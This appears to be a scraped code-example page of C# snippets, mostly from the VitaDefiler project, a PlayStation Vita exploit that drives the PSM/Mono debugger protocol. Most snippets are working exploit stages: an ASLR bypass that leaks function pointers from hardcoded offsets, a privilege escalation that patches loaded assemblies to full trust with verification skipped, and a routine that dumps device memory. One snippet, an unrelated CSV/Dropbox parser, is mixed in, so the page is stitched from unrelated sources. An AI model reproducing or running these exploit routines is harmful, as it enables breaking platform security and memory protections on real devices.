コード例 #1
0
ファイル: Exploit.cs プロジェクト: hyo2012/VitaDefiler
        public void SetBuffer(long objid, byte[] buf, int offset, int len)
        {
            if (buf == null || buf.Length == 0)
                return;
            if (len > buf.Length)
                throw new ArgumentException("len > buf.Length");

            ValueImpl[] vals = new ValueImpl[len];
            for (int i = 0; i < len; i++)
            {
                vals[i] = new ValueImpl();
                vals[i].Type = ElementType.U1;
                vals[i].Value = buf[offset + i];
            }
            conn.Array_SetValues(objid, offset, vals);
        }
コード例 #2
0
 internal Value DecodeValue(ValueImpl v)
 {
     return(DecodeValue(v, null));
 }
コード例 #3
0
ファイル: Exploit.cs プロジェクト: hyo2012/VitaDefiler
 public ValueImpl CreateString(string str)
 {
     ValueImpl data = new ValueImpl();
     data.Type = ElementType.Object;
     data.Objid = conn.Domain_CreateString(conn.RootDomain, str);
     return data;
 }
コード例 #4
0
ファイル: Exploit.cs プロジェクト: hyo2012/VitaDefiler
 // pausing the VM is slow, if we're calling this a million times, only need to pause once
 public ValueImpl RunMethod(long methodid, ValueImpl thisval, ValueImpl[] param, bool paused)
 {
     if (thisval == null)
     {
         thisval = new ValueImpl();
         thisval.Type = (ElementType)0xf0;
     }
     ValueImpl ret, exc;
     if (!paused)
     {
         conn.VM_Suspend(); // must be suspended
     }
     ret = conn.VM_InvokeMethod(threadid, methodid, thisval, param == null ? new ValueImpl[] { } : param, InvokeFlags.NONE, out exc);
     if (!paused)
     {
         conn.VM_Resume();
     }
     if (ret != null)
     {
         return ret;
     }
     if (exc != null)
     {
         long excmeth = GetMethod(true, "System.Exception", "ToString", 0, null);
         exc.Type = ElementType.Object; // must do this stupid mono
         ValueImpl excmsg = RunMethod(excmeth, exc, null, paused);
         Console.WriteLine(conn.String_GetValue(excmsg.Objid));
         throw new RunMethodException("Error running method.");
     }
     return null;
 }
コード例 #5
0
ファイル: Exploit.cs プロジェクト: hyo2012/VitaDefiler
        public uint DefeatASLR(out uint images_hash_ptr, out uint alloc_fptr, out uint free_fptr, out uint unlock_fptr, out uint lock_fptr, out uint flush_fptr, out uint libkernel_anchor)
        {
            // step 0, setup
            long methid_gettype = _vita.GetMethod(true, "System.Type", "GetType", 1, new string[] { "String" });
            if (methid_gettype < 0)
            {
                throw new TargetException("Cannot get method id for Type.GetType");
            }
            long methid_getmethod = _vita.GetMethod(true, "System.Type", "GetMethod", 1, new string[] { "String" });
            if (methid_getmethod < 0)
            {
                throw new TargetException("Cannot get method id for Type.GetMethod");
            }
            long methid_getruntimehandle = _vita.GetMethod(true, "System.Reflection.MonoMethod", "get_MethodHandle", 0, new string[] { });
            if (methid_getruntimehandle < 0)
            {
                throw new TargetException("Cannot get method id for System.Reflection.MonoMethod.get_MethodHandle");
            }
            long methid_fptr = _vita.GetMethod(true, "System.RuntimeMethodHandle", "GetFunctionPointer", 0, new string[] { });
            if (methid_fptr < 0)
            {
                throw new TargetException("Cannot get method id for System.RuntimeMethodHandle.GetFunctionPointer");
            }
            long methid_readint32 = _vita.GetMethod(true, "System.Runtime.InteropServices.Marshal", "ReadInt32", 2, new string[] { "IntPtr", "Int32" });
            if (methid_readint32 < 0)
            {
                throw new TargetException("Cannot get method id for ReadInt32");
            }

            // step 1, get method handle
            ValueImpl environment_str = _vita.CreateString("System.Environment");
            ValueImpl env_type = _vita.RunMethod(methid_gettype, null, new ValueImpl[] { environment_str });
            Console.WriteLine("System.Environment Type object: 0x{0:X}", VitaIntToUInt((Int64)env_type.Objid));
            ValueImpl exit_str = _vita.CreateString("Exit");
            env_type.Type = ElementType.Object; // BUG with debugger
            ValueImpl methodinfo = _vita.RunMethod(methid_getmethod, env_type, new ValueImpl[] { exit_str });
            Console.WriteLine("System.Environment.Exit MonoMethod object: 0x{0:X}", VitaIntToUInt((Int64)methodinfo.Objid));
            methodinfo.Type = ElementType.Object; // BUG with debugger
            ValueImpl runtimehandle = _vita.RunMethod(methid_getruntimehandle, methodinfo, new ValueImpl[] { });
            Console.WriteLine("System.Environment.Exit RuntimeMethodHandle object: 0x{0:X}", VitaIntToUInt((Int64)runtimehandle.Objid));
            ValueImpl funcptr = _vita.RunMethod(methid_fptr, runtimehandle, new ValueImpl[] { });
            Console.WriteLine("System.Environment.Exit function pointer: 0x{0:X}", VitaIntToUInt((Int64)funcptr.Fields[0].Value));

            // step 2, read function pointer to Exit icall from JIT code
            ValueImpl offset = new ValueImpl();
            offset.Type = ElementType.I4;
            offset.Value = 0x90;
            ValueImpl movw_val = _vita.RunMethod(methid_readint32, null, new ValueImpl[] { funcptr, offset });
            offset.Value = 0x94;
            ValueImpl movt_val = _vita.RunMethod(methid_readint32, null, new ValueImpl[] { funcptr, offset });
            uint addr;
            uint instr;
            Utilities.DecodeResult type;
            instr = VitaIntToUInt((Int32)movw_val.Value);
            addr = Utilities.DecodeARM32(instr, out type);
            if (type != Utilities.DecodeResult.INSTRUCTION_MOVW)
            {
                throw new TargetException(string.Format("Invalid instruction, expected MOVW, got: 0x{0:X}", instr));
            }
            instr = VitaIntToUInt((Int32)movt_val.Value);
            addr |= Utilities.DecodeARM32(instr, out type) << 16;
            if (type != Utilities.DecodeResult.INSTRUCTION_MOVT)
            {
                throw new TargetException(string.Format("Invalid instruction, expected MOVT, got: 0x{0:X}", instr));
            }
            Console.WriteLine("Found fptr for Environment.Exit at: 0x{0:X}", addr);

            // step 3, use offset to find mono_images_init and get hashmap pointer
            #if USE_UNITY
            uint mono_images_init_addr = addr - 1 + 0x129E;
            #else
            uint mono_images_init_addr = addr - 1 + 0x1206;
            #endif
            ValueImpl initaddr = _vita.CreateIntPtr(UIntToVitaInt(mono_images_init_addr));
            offset.Value = 0;
            movw_val = _vita.RunMethod(methid_readint32, null, new ValueImpl[] { initaddr, offset });
            offset.Value = 4;
            movt_val = _vita.RunMethod(methid_readint32, null, new ValueImpl[] { initaddr, offset });
            instr = VitaIntToUInt((Int32)movw_val.Value);
            images_hash_ptr = Utilities.DecodeThumb2((UInt16)(instr & 0xFFFF), (UInt16)(instr >> 16), out type);
            if (type != Utilities.DecodeResult.INSTRUCTION_MOVW)
            {
                throw new TargetException(string.Format("Invalid instruction, expected MOVW, got: 0x{0:X}", instr));
            }
            instr = VitaIntToUInt((Int32)movt_val.Value);
            images_hash_ptr |= (uint)Utilities.DecodeThumb2((UInt16)(instr & 0xFFFF), (UInt16)(instr >> 16), out type) << 16;
            if (type != Utilities.DecodeResult.INSTRUCTION_MOVT)
            {
                throw new TargetException(string.Format("Invalid instruction, expected MOVT, got: 0x{0:X}", instr));
            }
            Console.WriteLine("Found ptr for loaded_images_hash at: 0x{0:X}", images_hash_ptr);

            // step 4, use offset to find import table for SceLibMonoBridge functions

            #if USE_UNITY
            // Determine Unity version...
            int unity_version = FindUnityVersion(addr);
            #endif

            #if PSM_111
            uint import_table = addr - 1 + 0x12dbaa;
            #elif USE_UNITY
            uint import_table = addr - 1 + (uint)(unity_version == 0x105 ? 0x1118A0 : 0x1117C8);
            #else
            uint import_table = addr - 1 + 0x12D7A2;
            #endif

            ValueImpl faddr = _vita.CreateIntPtr(UIntToVitaInt(import_table));

            #if USE_UNITY
            offset.Value = 0xBC;
            #else
            offset.Value = 0x184;
            #endif

            ValueImpl fval = _vita.RunMethod(methid_readint32, null, new ValueImpl[] { faddr, offset });
            unlock_fptr = VitaIntToUInt((Int32)fval.Value);

            #if USE_UNITY
            offset.Value = 0x74;
            #else
            offset.Value = 0x198;
            #endif

            fval = _vita.RunMethod(methid_readint32, null, new ValueImpl[] { faddr, offset });
            lock_fptr = VitaIntToUInt((Int32)fval.Value);

            #if USE_UNITY
            offset.Value = unity_version == 0x105 ? 0x1BC : 0xFC;
            #else
            offset.Value = 0x350;
            #endif

            fval = _vita.RunMethod(methid_readint32, null, new ValueImpl[] { faddr, offset });
            free_fptr = VitaIntToUInt((Int32)fval.Value);

            #if PSM_111
            offset.Value = 0x460;
            #elif USE_UNITY
            offset.Value = 0x64;
            #else
            offset.Value = 0x468;
            #endif
            fval = _vita.RunMethod(methid_readint32, null, new ValueImpl[] { faddr, offset });
            alloc_fptr = VitaIntToUInt((Int32)fval.Value);

            #if USE_UNITY
            offset.Value = 0x54;
            #else
            offset.Value = 0x40;
            #endif

            fval = _vita.RunMethod(methid_readint32, null, new ValueImpl[] { faddr, offset });
            flush_fptr = VitaIntToUInt((Int32)fval.Value);
            // find SceLibKernel import table for anchor
            #if PSM_111
            import_table = addr - 1 + 0x12e18a;
            #elif USE_UNITY
            import_table = addr - 1 + (uint)(unity_version == 0x105 ? 0x111C98 : 0x111BC0);
            #else
            import_table = addr - 1 + 0x12DD7E;
            #endif
            faddr = _vita.CreateIntPtr(UIntToVitaInt(import_table));
            offset.Value = 0x0;
            fval = _vita.RunMethod(methid_readint32, null, new ValueImpl[] { faddr, offset });
            libkernel_anchor = VitaIntToUInt((Int32)fval.Value);
            Console.WriteLine("Found unlock 0x{0:X}, lock 0x{1:X}, free 0x{2:X}, alloc 0x{3:X}, anchor 0x{4:X}", unlock_fptr, lock_fptr, free_fptr, alloc_fptr, libkernel_anchor);

            return 0;
        }
コード例 #6
0
ファイル: Exploit.cs プロジェクト: hyo2012/VitaDefiler
 public ValueImpl CreateArray(string typename, int length)
 {
     long type_tocreate = GetTypeObjID(true, typename);
     long methid_createarray = GetMethod(true, "System.Array", "CreateInstance", 2, new string[] { "Type", "Int32" });
     if (methid_createarray < 0)
     {
         throw new TargetException("Cannot get id to create new array.");
     }
     ValueImpl arg_elementtype = new ValueImpl();
     ValueImpl arg_length = new ValueImpl();
     arg_elementtype.Type = ElementType.Object;
     arg_elementtype.Objid = type_tocreate;
     arg_length.Type = ElementType.I4;
     arg_length.Value = length;
     ValueImpl val_array = RunMethod(methid_createarray, null, new ValueImpl[] { arg_elementtype, arg_length });
     val_array.Type = ElementType.Object; // fix bug
     return val_array;
 }
コード例 #7
0
ファイル: PSMSupport.cs プロジェクト: zeest/VitaDefiler
        internal ValueImpl[] Type_GetValues(long id, long[] fields, long thread_id)
        {
            int len = fields.Length;
            PacketReader r;
            if (thread_id != 0)
                r = SendReceive(CommandSet.TYPE, (int)CmdType.GET_VALUES_2, new PacketWriter().WriteId(id).WriteId(thread_id).WriteInt(len).WriteIds(fields));
            else
                r = SendReceive(CommandSet.TYPE, (int)CmdType.GET_VALUES, new PacketWriter().WriteId(id).WriteInt(len).WriteIds(fields));

            ValueImpl[] res = new ValueImpl[len];
            for (int i = 0; i < len; ++i)
                res[i] = r.ReadValue();
            return res;
        }
コード例 #8
0
ファイル: Exploit.cs プロジェクト: hyo2012/VitaDefiler
        public void EscalatePrivilege(uint mono_images_hashmap_pointer)
        {
            // step 0, setup
            long methid_readintptr = _vita.GetMethod(true, "System.Runtime.InteropServices.Marshal", "ReadIntPtr", 2, new string[] { "IntPtr", "Int32" });
            if (methid_readintptr < 0)
            {
                throw new TargetException("Cannot get method id for ReadIntPtr");
            }
            long methid_readint32 = _vita.GetMethod(true, "System.Runtime.InteropServices.Marshal", "ReadInt32", 2, new string[] { "IntPtr", "Int32" });
            if (methid_readint32 < 0)
            {
                throw new TargetException("Cannot get method id for ReadInt32");
            }
            long methid_writeint32 = _vita.GetMethod(true, "System.Runtime.InteropServices.Marshal", "WriteInt32", 3, new string[] { "IntPtr", "Int32", "Int32" });
            if (methid_writeint32 < 0)
            {
                throw new TargetException("Cannot get method id for WriteInt32");
            }
            // step 1, find out where the hashmap is stored
            ValueImpl zero = new ValueImpl();
            zero.Type = ElementType.I4;
            zero.Value = 0;
            ValueImpl ptr_to_hashmap = _vita.CreateIntPtr(UIntToVitaInt(mono_images_hashmap_pointer));
            ValueImpl offset = new ValueImpl();
            offset.Type = ElementType.I4;
            offset.Value = 0;
            ValueImpl hashmap = _vita.RunMethod(methid_readintptr, null, new ValueImpl[] { ptr_to_hashmap, offset });
            Console.WriteLine("Images hashmap located at: 0x{0:X}", VitaIntToUInt((Int64)hashmap.Fields[0].Value));
            // step 2, find hashmap data
            offset.Value = 8;
            ValueImpl hashmap_data = _vita.RunMethod(methid_readintptr, null, new ValueImpl[] { hashmap, offset });
            Console.WriteLine("Hashmap entries located at: 0x{0:X}", VitaIntToUInt((Int64)hashmap_data.Fields[0].Value));
            offset.Value = 12;
            ValueImpl hashmap_len = _vita.RunMethod(methid_readint32, null, new ValueImpl[] { hashmap, offset });
            Console.WriteLine("Images hashmap has {0} entries", hashmap_len.Value);
            // step 3, get entries
            Console.WriteLine("Patching all loaded images to be corlib images.");
            for (int i = 0; i < (Int32)hashmap_len.Value; i++)
            {
                offset.Value = i * 4;
                ValueImpl entry = _vita.RunMethod(methid_readintptr, null, new ValueImpl[] { hashmap_data, offset });
                while (VitaIntToUInt((Int64)entry.Fields[0].Value) > 0) // each item in slot
                {
                    Console.WriteLine("Entry {0} found at: 0x{1:X}", i, VitaIntToUInt((Int64)entry.Fields[0].Value));
                    offset.Value = 4;
                    ValueImpl image_data = _vita.RunMethod(methid_readintptr, null, new ValueImpl[] { entry, offset });
                    Console.WriteLine("Image data found at: 0x{0:X}", VitaIntToUInt((Int64)image_data.Fields[0].Value));
                    offset.Value = 16;
                    ValueImpl image_attributes = _vita.RunMethod(methid_readint32, null, new ValueImpl[] { image_data, offset });
                    Console.WriteLine("Image attributes: 0x{0:X}", image_attributes.Value);
                    // step 4, patch the attribute to include corlib
                    image_attributes.Value = (Int32)image_attributes.Value | (1 << 10);
                    _vita.RunMethod(methid_writeint32, null, new ValueImpl[] { image_data, offset, image_attributes });
                    Console.WriteLine("Image attributes patched to: 0x{0:X}", image_attributes.Value);

                    // step 5, patch assembly to skip verification
                    Console.WriteLine("Patching assembly in this image to be full trust and skip verification.");
                    offset.Value = 664;
                    ValueImpl assembly = _vita.RunMethod(methid_readintptr, null, new ValueImpl[] { image_data, offset });
                    Console.WriteLine("Found assembly at: 0x{0:X}", VitaIntToUInt((Int64)assembly.Fields[0].Value));
                    offset.Value = 88;
                    ValueImpl assembly_attributes = _vita.RunMethod(methid_readint32, null, new ValueImpl[] { assembly, offset });
                    Console.WriteLine("Assembly attributes: 0x{0:X}", assembly_attributes.Value);
                    // set ecma, aptc, fulltrust, unmanaged, skipverification to true and initialized
                    assembly_attributes.Value = (Int32)assembly_attributes.Value | (0xFFFF << 16);
                    _vita.RunMethod(methid_writeint32, null, new ValueImpl[] { assembly, offset, assembly_attributes });
                    Console.WriteLine("Assembly attributes patched to: 0x{0:X}", assembly_attributes.Value);

                    offset.Value = 8;
                    entry = _vita.RunMethod(methid_readintptr, null, new ValueImpl[] { entry, offset }); // next item in this slot in hashmap
                }

            }
        }
コード例 #9
0
ファイル: PSMSupport.cs プロジェクト: zeest/VitaDefiler
        internal ValueImpl[] StackFrame_GetValues(long thread_id, long id, int[] pos)
        {
            /* pos < 0 -> argument at pos (-pos) - 1 */
            /* pos >= 0 -> local at pos */
            int len = pos.Length;
            PacketReader r = SendReceive(CommandSet.STACK_FRAME, (int)CmdStackFrame.GET_VALUES, new PacketWriter().WriteId(thread_id).WriteId(id).WriteInt(len).WriteInts(pos));

            ValueImpl[] res = new ValueImpl[len];
            for (int i = 0; i < len; ++i)
                res[i] = r.ReadValue();
            return res;
        }
コード例 #10
0
ファイル: PSMSupport.cs プロジェクト: zeest/VitaDefiler
 internal void StackFrame_SetValues(long thread_id, long id, int[] pos, ValueImpl[] values)
 {
     /* pos < 0 -> argument at pos (-pos) - 1 */
     /* pos >= 0 -> local at pos */
     int len = pos.Length;
     SendReceive(CommandSet.STACK_FRAME, (int)CmdStackFrame.SET_VALUES, new PacketWriter().WriteId(thread_id).WriteId(id).WriteInt(len).WriteInts(pos).WriteValues(values));
 }
コード例 #11
0
ファイル: PSMSupport.cs プロジェクト: zeest/VitaDefiler
 internal void Object_SetValues(long id, long[] fields, ValueImpl[] values)
 {
     SendReceive(CommandSet.OBJECT_REF, (int)CmdObjectRef.SET_VALUES, new PacketWriter().WriteId(id).WriteInt(fields.Length).WriteIds(fields).WriteValues(values));
 }
コード例 #12
0
ファイル: PSMSupport.cs プロジェクト: zeest/VitaDefiler
        internal ValueImpl[] Object_GetValues(long id, long[] fields)
        {
            int len = fields.Length;
            PacketReader r = SendReceive(CommandSet.OBJECT_REF, (int)CmdObjectRef.GET_VALUES, new PacketWriter().WriteId(id).WriteInt(len).WriteIds(fields));

            ValueImpl[] res = new ValueImpl[len];
            for (int i = 0; i < len; ++i)
                res[i] = r.ReadValue();
            return res;
        }
コード例 #13
0
        public static IList GetList(String csvLink, Boolean hasColumnNames, String groupBy, String filterBy, String filterValue, Boolean excatFilterMatch, String[] columnNamesToInclude)
        {
            ListImpl list = new ListImpl();

            //WebClient client = new WebClient();
            String content = "";

            content = GetContent(csvLink.Replace("dl=0", "dl=1"));

            int iStart = content.IndexOf("//dl-web.dropbox.com/");

            if (iStart > 0)
            {
                int iEnd = content.IndexOf("\"", iStart);
                if (iEnd > 0)
                {
                    csvLink = content.Substring(iStart, iEnd - iStart);
                    content = GetContent(csvLink);
                }
            }
            if( columnNamesToInclude != null )
                columnNamesToInclude = columnNamesToInclude.Select(x => x.ToLower()).ToArray();

            var lines = content.Split('\r');

            //var lines = System.IO.File.ReadAllLines(fileName, System.Text.Encoding.UTF7);

            List<int> colsWithContent = new List<int>();

            List<IRow> rows = new List<IRow>();

            for (int i = 0; i < lines.Count(); i++)
            {
                var row = lines[i].Split(';');
                IRow newRow = new RowImpl();
                for (int iCol = 0; iCol < row.Length; iCol++)
                {
                    String colValue = row[iCol];

                    //  ColumnNames
                    if (i == 0 && hasColumnNames && (columnNamesToInclude == null || columnNamesToInclude.Contains(colValue.ToLower())))
                    {
                        if (!String.IsNullOrEmpty(colValue))
                        {
                            if (!String.IsNullOrEmpty(colValue))
                            {
                                colsWithContent.Add(iCol);
                            }

                            list.ColumnNames.Add(new ColumnNameImpl { Name = colValue });
                        }
                    }
                    else if (i > 0 || !hasColumnNames)
                    {
                        if (!hasColumnNames || colsWithContent.Contains(iCol))
                        {
                            int realCol = colsWithContent.IndexOf(iCol);
                            if (hasColumnNames && String.IsNullOrEmpty(list.ColumnNames[realCol].Type))
                                list.ColumnNames[realCol].Type = GetType(colValue);

                            var newVal = new ValueImpl { Value = colValue };
                            Boolean addRow = true;
                            DateTime tTemp;
                            if (list.ColumnNames[realCol].Type == "DateTime")
                            {
                                if (!DateTime.TryParse(colValue, out tTemp))
                                    tTemp = DateTime.MinValue;

                                newVal.Value = tTemp;

                            }

                            if (newVal.Value is String)
                                newVal.Value = newVal.Value.ToString().Replace("\n", "");

                            if (addRow)
                                newRow.Values.Add(newVal);

                        }
                    }
                }

                if (!hasColumnNames || (newRow.Values.Count == list.ColumnNames.Count && newRow.Values.Any(y => !String.IsNullOrEmpty(y.Value as String)) && (i > 0 || !hasColumnNames)))
                    rows.Add(newRow);
            }

            ListEntryImpl listEntry = null;

            if (!String.IsNullOrEmpty(filterBy))
            {
                int index = list.ColumnNames.Select(x => x.Name.ToLower()).ToList().IndexOf(filterBy.ToLower());

                if (index > -1)
                {
                    if (excatFilterMatch)
                        rows = rows.Where(x => (x.Values[index].Value ?? "").ToString() == filterValue).ToList();
                    else
                        rows = rows.Where(x => (x.Values[index].Value ?? "").ToString().ToLower().Contains(filterValue.ToLower())).ToList();
                }
            }

            if (!String.IsNullOrEmpty(groupBy))
            {
                int index = list.ColumnNames.Select(x => x.Name).ToList().IndexOf(groupBy);

                if (index > -1)
                {
                    var grouping = rows.GroupBy(x => x.Values[index].Value.ToString()).OrderBy(x => x.Key);
                    rows = new List<IRow>();

                    foreach (var group in grouping)
                    {
                        listEntry = new ListEntryImpl { Title = group.Key.Replace("\n", ""), Parent = list, Rows = group.ToList() };
                        list.Add(listEntry);
                    }

                }
            }

            if (list.Count() == 0 && rows.Count > 0)
            {
                listEntry = new ListEntryImpl { Parent = list, Rows = rows };
                list.Add(listEntry);
            }

            list.CsvLink = csvLink;

            return list;
        }
コード例 #14
0
ファイル: PSMSupport.cs プロジェクト: zeest/VitaDefiler
 internal void Array_SetValues(long id, int index, ValueImpl[] values)
 {
     SendReceive(CommandSet.ARRAY_REF, (int)CmdArrayRef.SET_VALUES, new PacketWriter().WriteId(id).WriteInt(index).WriteInt(values.Length).WriteValues(values));
 }
コード例 #15
0
ファイル: PSMSupport.cs プロジェクト: zeest/VitaDefiler
 internal void Type_SetValues(long id, long[] fields, ValueImpl[] values)
 {
     SendReceive(CommandSet.TYPE, (int)CmdType.SET_VALUES, new PacketWriter().WriteId(id).WriteInt(fields.Length).WriteIds(fields).WriteValues(values));
 }
コード例 #16
0
ファイル: PSMSupport.cs プロジェクト: zeest/VitaDefiler
 internal long Domain_CreateBoxedValue(long id, long type_id, ValueImpl v)
 {
     return SendReceive(CommandSet.APPDOMAIN, (int)CmdAppDomain.CREATE_BOXED_VALUE, new PacketWriter().WriteId(id).WriteId(type_id).WriteValue(v)).ReadId();
 }
コード例 #17
0
ファイル: PSMSupport.cs プロジェクト: zeest/VitaDefiler
        internal int VM_BeginInvokeMethod(long thread, long method, ValueImpl this_arg, ValueImpl[] arguments, InvokeFlags flags, InvokeMethodCallback callback, object state)
        {
            return Send(CommandSet.VM, (int)CmdVM.INVOKE_METHOD, new PacketWriter().WriteId(thread).WriteInt((int)flags).WriteId(method).WriteValue(this_arg).WriteInt(arguments.Length).WriteValues(arguments), delegate(PacketReader r)
            {
                ValueImpl v, exc;

                if (r.ErrorCode != 0)
                {
                    callback(null, null, (ErrorCode)r.ErrorCode, state);
                }
                else
                {
                    if (r.ReadByte() == 0)
                    {
                        exc = r.ReadValue();
                        v = null;
                    }
                    else
                    {
                        v = r.ReadValue();
                        exc = null;
                    }

                    callback(v, exc, 0, state);
                }
            });
        }
コード例 #18
0
ファイル: Exploit.cs プロジェクト: hyo2012/VitaDefiler
 public void StartDump(uint addr, uint len, FileStream dump = null)
 {
     if (len == 0)
     {
         // dump all of ram
         len = 0xFFFFFFFF - addr;
     }
     long methid_copy = _vita.GetMethod(true, "System.Runtime.InteropServices.Marshal", "Copy", 4, new string[] { "IntPtr", "Byte[]", "Int32", "Int32" });
     if (methid_copy < 0)
     {
         Console.WriteLine("Cannot find Copy method.");
         return;
     }
     // weird address format for IntPtr on vita
     /* DEPRECATED BECAUSE GC WILL DELETE THESE
     ValueImpl src = v.CreateIntPtr(UIntToVitaInt(addr));
     ValueImpl dest = v.CreateArray("System.Byte", BLOCK_SIZE);
      */
     ValueImpl dest = _vita.GetField(false, "VitaDefilerClient.AppMain", "dest");
     dest.Type = ElementType.Object; // must be done
     ValueImpl src = _vita.GetField(false, "VitaDefilerClient.AppMain", "src");
     if (dest == null)
     {
         Console.WriteLine("Cannot find buffer to write to.");
         return;
     }
     if (src == null)
     {
         Console.WriteLine("Cannot find pointer to read from.");
         return;
     }
     src.Fields[0].Value = UIntToVitaInt(addr);
     byte[] block = new byte[BLOCK_SIZE];
     // error block will be written when block cannot be read
     byte[] error_block = new byte[BLOCK_SIZE];
     for (int i = 0; i < BLOCK_SIZE; i++)
         error_block[i] = (byte)'X';
     ValueImpl sti = new ValueImpl();
     ValueImpl dlen = new ValueImpl();
     sti.Type = ElementType.I4;
     dlen.Type = ElementType.I4;
     sti.Value = 0;
     dlen.Value = BLOCK_SIZE;
     _vita.Suspend();
     Console.WriteLine("Starting dump...");
     for (int d = 0; d * BLOCK_SIZE <= len; d++)
     {
         try
         {
             if (dump != null)
             {
                 dump.Flush();
             }
             Console.WriteLine("Dumping 0x{0:X}", src.Fields[0].Value);
             ValueImpl ret = _vita.RunMethod(methid_copy, null, new ValueImpl[] { src, dest, sti, dlen }, true);
             if (ret == null)
             {
                 throw new TargetException("Method never returned.");
             }
             _vita.GetBuffer(dest.Objid, BLOCK_SIZE, ref block);
             if (dump == null)
             {
                 block.PrintHexDump((uint)BLOCK_SIZE, 16);
             }
             int num = BLOCK_SIZE;
             if (d * BLOCK_SIZE + num > len)
                 num = (int)(len - d * BLOCK_SIZE);
             if (dump != null)
             {
                 dump.Write(block, 0, num);
             }
         }
         catch (InvalidOperationException) // vm not suspended, retry
         {
             Console.WriteLine("VM_NOT_SUSPENDED, retrying...");
             d--;
             continue;
         }
         catch (Vita.RunMethodException ex)
         {
             Console.WriteLine("Error dumping 0x{0:X}: {1}", src.Fields[0].Value, ex.Message.ToString());
             int num = BLOCK_SIZE;
             if (d * BLOCK_SIZE + num > len)
                 num = (int)(len - d * BLOCK_SIZE);
             if (dump != null)
             {
                 dump.Write(error_block, 0, num);
             }
         }
         // next block to dump
         src.Fields[0].Value = (Int64)src.Fields[0].Value + BLOCK_SIZE;
         if (d % 1000 == 0)
         {
             // must be done or app will freeze
             _vita.Resume();
             _vita.Suspend();
         }
     }
     if (dump != null)
     {
         dump.Close();
     }
     _vita.Resume();
 }
コード例 #19
0
ファイル: PSMSupport.cs プロジェクト: zeest/VitaDefiler
 internal ValueImpl VM_InvokeMethod(long thread, long method, ValueImpl this_arg, ValueImpl[] arguments, InvokeFlags flags, out ValueImpl exc)
 {
     exc = null;
     PacketReader r = SendReceive(CommandSet.VM, (int)CmdVM.INVOKE_METHOD, new PacketWriter().WriteId(thread).WriteInt((int)flags).WriteId(method).WriteValue(this_arg).WriteInt(arguments.Length).WriteValues(arguments));
     if (r.ReadByte() == 0)
     {
         exc = r.ReadValue();
         return null;
     }
     else
     {
         return r.ReadValue();
     }
 }
コード例 #20
0
ファイル: Exploit.cs プロジェクト: hyo2012/VitaDefiler
        private int FindUnityVersion(uint exitFuncPtr)
        {
            long methid_readint32 = _vita.GetMethod(true, "System.Runtime.InteropServices.Marshal", "ReadInt32", 2, new string[] { "IntPtr", "Int32" });
            if (methid_readint32 < 0)
            {
                throw new TargetException("Cannot get method id for ReadInt32");
            }

            uint magic_val = 0x6F6E6F6D; // "mono"
            ValueImpl exitFuncPtrAddr = _vita.CreateIntPtr(UIntToVitaInt(exitFuncPtr - 1));

            // Check for Unity 1.05
            ValueImpl offset = new ValueImpl();
            offset.Value = 0x110D08;
            ValueImpl val = _vita.RunMethod(methid_readint32, null, new ValueImpl[] { exitFuncPtrAddr, offset });

            if (VitaIntToUInt((Int32)val.Value) == magic_val)
            {
                return 0x105;
            }

            // Check for Unity 1.06
            offset.Value = 0x110C00;
            val = _vita.RunMethod(methid_readint32, null, new ValueImpl[] { exitFuncPtrAddr, offset });

            if (VitaIntToUInt((Int32)val.Value) == magic_val)
            {
                return 0x106;
            }

            throw new InvalidOperationException("Unsupported Unity version!");
            return 0x0;
        }
コード例 #21
0
ファイル: PSMSupport.cs プロジェクト: zeest/VitaDefiler
            public ValueImpl ReadValue()
            {
                ElementType etype = (ElementType)ReadByte();

                switch (etype)
                {
                    case ElementType.Void:
                        return new ValueImpl { Type = etype };
                    case ElementType.I1:
                        return new ValueImpl { Type = etype, Value = (sbyte)ReadInt() };
                    case ElementType.U1:
                        return new ValueImpl { Type = etype, Value = (byte)ReadInt() };
                    case ElementType.Boolean:
                        return new ValueImpl { Type = etype, Value = ReadInt() != 0 };
                    case ElementType.I2:
                        return new ValueImpl { Type = etype, Value = (short)ReadInt() };
                    case ElementType.U2:
                        return new ValueImpl { Type = etype, Value = (ushort)ReadInt() };
                    case ElementType.Char:
                        return new ValueImpl { Type = etype, Value = (char)ReadInt() };
                    case ElementType.I4:
                        return new ValueImpl { Type = etype, Value = ReadInt() };
                    case ElementType.U4:
                        return new ValueImpl { Type = etype, Value = (uint)ReadInt() };
                    case ElementType.I8:
                        return new ValueImpl { Type = etype, Value = ReadLong() };
                    case ElementType.U8:
                        return new ValueImpl { Type = etype, Value = (ulong)ReadLong() };
                    case ElementType.R4:
                        return new ValueImpl { Type = etype, Value = ReadFloat() };
                    case ElementType.R8:
                        return new ValueImpl { Type = etype, Value = ReadDouble() };
                    case ElementType.I:
                    case ElementType.U:
                    case ElementType.Ptr:
                        // FIXME: The client and the debuggee might have different word sizes
                        return new ValueImpl { Type = etype, Value = ReadLong() };
                    case ElementType.String:
                    case ElementType.SzArray:
                    case ElementType.Class:
                    case ElementType.Array:
                    case ElementType.Object:
                        long objid = ReadId();
                        return new ValueImpl() { Type = etype, Objid = objid };
                    case ElementType.ValueType:
                        bool is_enum = ReadByte() == 1;
                        long klass = ReadId();
                        long nfields = ReadInt();
                        ValueImpl[] fields = new ValueImpl[nfields];
                        for (int i = 0; i < nfields; ++i)
                            fields[i] = ReadValue();
                        return new ValueImpl() { Type = etype, Klass = klass, Fields = fields, IsEnum = is_enum };
                    case (ElementType)ValueTypeId.VALUE_TYPE_ID_NULL:
                        return new ValueImpl { Type = etype };
                    case (ElementType)ValueTypeId.VALUE_TYPE_ID_TYPE:
                        return new ValueImpl() { Type = etype, Id = ReadId() };
                    default:
                        throw new NotImplementedException("Unable to handle type " + etype);
                }
            }
コード例 #22
0
ファイル: Exploit.cs プロジェクト: hyo2012/VitaDefiler
 public ValueImpl CreateIntPtr(Int64 val)
 {
     long methid_alloc = GetMethod(true, "System.Runtime.InteropServices.Marshal", "AllocHGlobal", 1, new string[] { "Int32" });
     if (methid_alloc < 0)
     {
         throw new TargetException("Cannot get id to create new IntPtr");
     }
     ValueImpl zero = new ValueImpl();
     zero.Type = ElementType.I4;
     zero.Value = 0;
     ValueImpl data = RunMethod(methid_alloc, null, new ValueImpl[] { zero }); // this is to get the IntPtr type
     data.Fields[0].Value = val;
     return data;
 }
コード例 #23
0
ファイル: PSMSupport.cs プロジェクト: zeest/VitaDefiler
            public PacketWriter WriteValue(ValueImpl v)
            {
                ElementType t;

                if (v.Value != null)
                    t = TypeCodeToElementType(Type.GetTypeCode(v.Value.GetType()));
                else
                    t = v.Type;
                WriteByte((byte)t);
                switch (t)
                {
                    case ElementType.Boolean:
                        WriteInt((bool)v.Value ? 1 : 0);
                        break;
